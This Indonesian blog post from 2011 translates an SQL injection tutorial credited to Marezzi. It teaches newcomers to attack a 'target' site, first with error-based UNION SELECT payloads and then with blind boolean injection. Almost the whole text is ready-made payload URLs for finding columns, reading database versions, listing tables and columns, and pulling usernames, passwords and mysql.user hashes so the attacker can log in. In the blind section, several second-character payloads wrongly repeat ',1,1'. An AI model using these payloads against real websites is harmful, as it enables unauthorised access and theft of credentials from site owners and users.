Senin, 28 Februari 2011

Simple SQL Hacking by Marezzi

Simple SQL Hacking

ada beberapa kata dari terjemahan ini yang agak berbeda untuk memudahkan newbie seperti saya ini untuk memahami.

di ambil dari

http://milw0rm.com/papers/202

================= begin of paper ====================


SQL Injection Tutorial by Marezzi (MySQL)

Dalam tutorial ini saya akan menggambarkan bagaimana sql injection bekerja dan bagaimana teknik ini bisa memberikan seseorang informasi yang sangat berguna.

Pertama : apa itu SQL Injection??

Bug ini merupakan Bug yang paling umum yang ada pada applikasi web sampai sekarang. Celah keamanan ini mengizinkan attacker untuk mengeksekusi database melalui Url dan mendapatkan access untuk memperoleh informasi penting dan lain-lain.

1. SQL Injection (memanfaatkan error yang terlihat)
2. Blind SQL Injection (Agak Sulit)

1. SQL Injection (memanfaatkan error yang terlihat/classic SQL Injection)

-= Pengecekan apakah site bisa di Attack apa tidak dengan teknik sql injection.

misal kita memiliki target seperti ini:
Code:
http://www.site.com/news.php?id=5

kita coba site berlubang atau tidak dengan menambah tanda ' (petik satu) di akhir url dan hasilnya akan menjadi seperti
Code:
http://www.site.com/news.php?id=5'

jika kita melihat error seperti "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right bla..bla.." atau error yang sejenis, itu berarti site bisa kita Attack menggunakan SQL injection.

-= tahap kedua menebak jumlah kolom

untuk menemukan banyak kolom kita menggunakan command ORDER BY. Bagaimana menggunakan perintah ini? kita hanya menambah angkat setelah By sampai kita mendapatkan error. misal
Code:
http://www.site.com/news.php?id=5 order by 1/* <-- ga ada error http://www.site.com/news.php?id=5 order by 2/* <-- ga ada error http://www.site.com/news.php?id=5 order by 3/* <-- ga ada error http://www.site.com/news.php?id=5 order by 4/* <-- ternyata error klo misal nampak errornya maka akan ada tulisan "Unknwon column '4' in 'order clause' " atau yang mirip seperti itu. itu berarti database memiliki 3 kolom karena sewaktu kita mencoba menebak kolom ke 4 ternyata hasilnya error itu tandanya kolom ke 4 tidak ada. -= Mencari data selanjutnya dengan menggunakan UNION (perintah mengabungkan) Dengan UNION kita menggabungkan perintah yang lainnya dalam satu perintah (seringnya perintah SELECT. Misal Code: http://www.site.com/news.php?id=5 union select 1,2,3/* (kenapa ada 1,2,3 itu karena kita sebelumnya sudah mendapatkan ada 3 kolom hasil dari perintah ORDER BY kalau misal ada 4 kolom ya jadi 1,2,3,4) jika kita melihat salah satu angka dari tiga angka tadi maka itu tandannya perintah UNION bekerja. -= Lanjut tahap selanjutnya pengecekan versi mysql misal: Code: http://www.site.com/news.php?id=5 union all select 1,2,3/* nb: jika ini tidak bekerja coba ganti '/*' menggunakan '--' (cari di google arti tanda-tanda itu). Misal di layar muncul angka 2, maka kita ganti angka dua itu dengan perintah @@version atau version() jika tidak error maka akan muncul versi dari mysql seperti 4.1.33-log or 5.0.45 atau semacam nya. kalau mendapatkan error seperti "union + illegal mix of collations (IMPLICIT + COERCIBLE) ... bla bla bla" berarti kita membutuhkan fungsi convert() misal Code: http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/* atau bisa juga dengan menggunakan hex() dan unhex() misal Code: http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/* maka akan tampil versi dari mysql nya.. ^^ -= tahap selanjutnya dapatkan nama table sama nama kolomnya Jika kita mendapatkan versi mysql dibawah versi 5 (4.1.33, 4.1.12..). berarti kita harus menebak sendiri nama tabel sama kolomnya. umumnya nama table seperti ini:user,users,admin,admins,member,members dll... lalu untuk nama kolom umumnya seperti ini:username,user,usr,user_name,password,pass,passwd,pwd,dll.. misal kita tebak seperti ini untuk nama tablenya. Code: http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (kita lihat angka 2 muncul di layar seperti sebelumnya) berarti tabel dengan nama admin memang ada. sekarang kita tinggal tebak nama kolomnya. misal Code: http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* jika mendapat error atau layar kosong maka coba tebak dengan nama lain. jika berhasil maka di layar akan tampak username,contohnya admin atau superadmin atau lain"... sekarang coba tebak kolom passwordnya misalkan Code: http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* kalau error coba nama lain. kalau berhasil maka akan ada password yang tampil di layar baik itu dalam bentuk hash(terenkripsi) atau plain-text(tidak di enkripsi) tergantung dari settingan mysqlnya. contohnya: md5 hash, mysql hash, sha1, dll.. sekarang kita harus merubah query biar terlihat lebih enak di pandang. untuk itu kita membutuhkan fungsi concat() untuk menggabungkan kedua string (username dan password) contoh : Code: http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/* lihat di contoh itu ada 0x3a, 0x3a dalam hexadesimal memiliki arti tanda titik dua ':'. ada juga dengan cara char(58) *angka 58 dalam ASCII* misal Code: http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/* maka kita akan mendapatkan hasil di layar seperti ini username : password contoh nya 'admin:admin' atau 'admin:somehash'. kita bisa login menggunakan username dan password tersebut untuk mendapatkan akses dalam aplikasi web tersebut. jika tidak dapat menebak nama tabel name dengan benar, kamu coba gunakan mysql.user(default) contoh Code: http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/* -= MySQL 5 jika kita mendapatkan versi 5 maka kita membutuhkan information_schema untuk mendapatkan nama tabel dan nama kolom. informtion_schema ini menyimpan semua informasi table dan kolomnya. untuk mendapatkan tabelnya kita gunakan table_name dan information_schema.tables. contoh Code: http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/* disini kita coba mengganti angka 2 dengan table_name untuk mendapatkan tabel pertama dari information_schema.tables yang akan di tampilkan dilayar. sekarang kita butuh menambah LIMIT di akhir query untuk menampilkan satu persatu semua database.contoh Code: http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/* disini saya menggunakan 0,1 (dapatkan 1 output dimulai dari yang paling awal '0th'). untuk melihat tabel kedua kita ganti limit 0,1 jadi limit 1,1 contoh Code: http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/* maka akan muncul di layar table kedua dari database. tuk yang ketiga kita ganti lagi menjadi limit 2,1 contoh Code: http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/* trus di tambah satu-satu sampe dapatkan tabel yang di mau.contohnya db_admin,poll_user, auth, auth_user dll.. untuk mendapatkan nama kolom menggunakan metode yang sama. tapi bedanya untuk kolom kita menggunakan colomn_name dan information_schema.colomns. Metode yang digunakan sama seperti diatas contoh Code: http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/* kolom pertama akan tampil. dan untuk yang kedua (kita ganti limit 0,1 menjadi limit 1,1) contoh Code: http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/* maka akan tampil kolom yang kedua, lakukan terus penambahan pada limit tadi hingga kita dapatkan kolom yang kita mau seperti username,user,login,password,pass,passwd,dll.. :D jika kamu ingin menampilkan nama kolom pada tabel tertentu bisa gunakan query ini. misal kita sudah menemukan table dengan nama 'users' (tanpa tanda petik) contoh Code: http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/* maka kita akan mendapatkan nama kolom pertama pada table users. Gunakan LIMIT untuk menampilkan satu persatu semua nama kolom dalam tabel user. (query tidak bisa dikarenakan jika magic quotes dalam keadaan ON). misal kita sudah menemukan kolom user,pass,dan email. untuk menyelesaikannya kita bisa tampilkan secara bersamaan dengan menggunakan fungsi concat(), contoh Code: http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/* maka kita akan mendapatkan user : pass : email from table users. contoh: admin:hash:whatever@blabla.com.. finish untuk bagian pertama, sekarang kita masuk ke bagian kedua yang agak sulit :) 2 Blind SQL Injection Blind SQL Injection sedikit lebih rumit dari pada classic injection tapi ini dapat terselesaikan. banyak sekali tutorial sql injection yang sangat bagus dari xprog, itu tidak buruk untuk coba membacanya.kita masuk ke tutorial. misal kita memiliki target Code: http://www.site.com/news.php?id=5 . ketika kita mengaksesnya maka akan artikel-artikel di halaman tersebut,gambar atau yang lainnya.. kita coba untuk test site ini dengan serangan blind sql injection. Code: http://www.site.com/news.php?id=5 and 1=1 <-- ini akan selalu menghasilkan nilai TRUE. dan halaman akan menampilkan artikel secara normal. sekarang coba test seperti Code: http://www.site.com/news.php?id=5 and 1=2 <-- ini akan menghasilkan nilai FALSE jika beberapa text, gambar atau beberpa isi hilang maka site tersebut vulrnable untuk blind sql injecjtion. -= dapatkan versi MySQL untuk mendapatkan versi MySQL kita gunakan substring.. contoh Code: http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4 maka ini akan mengembalikan nilai TRUE jika versi mysql adalah 4. ganti 4 dengan 5, dan jika query mengembalikan nilai true saat telah diganti dengan 5 maka versi mysql adalah 5 contoh Code: http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5 -= test jika subselect berkerja ketika SELECT tidak bisa berkerja maka kita gunakan subselect contoh Code: http://www.site.com/news.php?id=5 and (select 1)=1 jika halaman tampil secara normal itu berarti subselect berkerja.kita dapat melihat bahwa kita bisa akses ke mysql.users contoh Code: http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1 jika halaman ditampilkan normal maka kita punya akses ke mysql.user dan seletah itu kita bisa mengeluarkan beberapa password menggunakan fungsi load_file() dan OUTFILE -= cek nama table dan nama kolom bagian ini adalah bagian dimana tebak menebak menjadi teman baik contoh Code: http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (dengan limit 0,1 query kita disini mengembalikan 1 baris dari data, karena subselect hanya mengembalikan 1 baris, ini sangat penting) lalu jika halaman ini berjalan normal tanpa ada bagian dari isi yang hilang, maka table dengan nama user ada. jika kamu mendapatkan FALSE(ada bagian artikel yang hilang), rubah saja nama table sampai kamu menebak dengan benar. katakan saja kita sudah menemukan bahwa tablenya bernama users, sekarang yang kita butuhkan adalah nama kolom. sama seperti tabel name. kita mulai menebak. seperti yang saya bilang sebelumnya coba menebak dengan nama-nama yang umum untuk kolom. contoh Code: http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1 jika halaman tampil normal maka kita tahu bahwa nama kolomnya adalah password (jika salah maka coba dengan nama umum atau coba menebak saja) disini kita menggabungkan angka satu dengan nama kolom password lalu substring akan mengembalikan karakter pertama (,1,1) -= Mengambil data dari database kita temukan table users dengan kolom username dan password selanjutnya kita akan mengambil karakter-karakter dari sana. Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ini adalah pengambilan karakter pertama dari user pertama dalam table users. substring disini akan mengembalikan karakter pertama dan panjangnya 1 karakter. ascii() mengconvert 1 karakter itu ke dalam nilai ASCII dan membandinnya dengan menggunakan simbol lebih besar. jadi jika karakter ascii lebih besar dari 80,maka halaman akan menampilkan artikel secara normal. ini berarti bernilai TRUE maka lakukan hingga mendapat nilai FALSE. contoh
Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

kita masih mendapat nilai TRUE, tetap naikan terus.
Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE lagi,tambah lagi.
Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!
jadi karakter pertama dalam username adalah char(99). menggunakan converter ascii kita tau bahwa char(99) ada lah huruf 'c'.
sekarang kita cek karakter ke dua.
Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note kita saya ganti ,1,1 menjadi ,2,1 untuk mendapatkan karakter ke 2. (sekarang dia akan mengembalikan karakter ke dua dan 1 karakter panjangnya)
Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE,halaman masih normal.tambah lagi.
Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, kurangi angkanya.
Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, tambah lagi.
Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!
sekarang kita tahu bahwa karakter ke dua adalah char(105) dan itu adalah 'i'. kita punya 'ci' jadi untuk lebih jauhnya lagi maka tetaplah menambah sampai akhir.(ketika >0 nilai nya FALSE maka kita tau kita sudah di akhir). ada banyak tool untuk Blind SQL Injection, saya pikir sqlmap yang terbaik, tapi saya melakukan dengan manual. karena itu akan menjadikan mu lebih lihai dalam SQL INJECTION.

Saya harap kamu bisa mempelajari sesuatu dari tutorial ini
Selamat bersenang senang.

Tidak ada komentar:

Posting Komentar